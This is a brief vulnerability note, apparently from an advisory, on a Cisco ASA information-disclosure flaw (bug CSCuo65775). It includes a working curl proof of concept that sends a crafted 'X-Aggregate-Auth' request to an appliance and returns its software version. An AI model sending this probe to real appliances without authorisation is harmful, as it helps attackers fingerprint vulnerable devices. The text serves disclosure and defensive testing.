A vulnerability in the Cisco Adaptive Security Appliance (ASA) could allow an unauthenticated, remote attacker to access sensitive data, including the ASA Software version that is currently running on the appliance.
All Cisco ASA hardware platforms are vulnerable when running Cisco ASA Software prior to a fixed release indicated in Cisco bug ID CSCuo65775
curl -ssl -k -H "X-Aggregate-Auth:1" --data "TESTME" https://<IP>
Response page containing CISCO ASA Version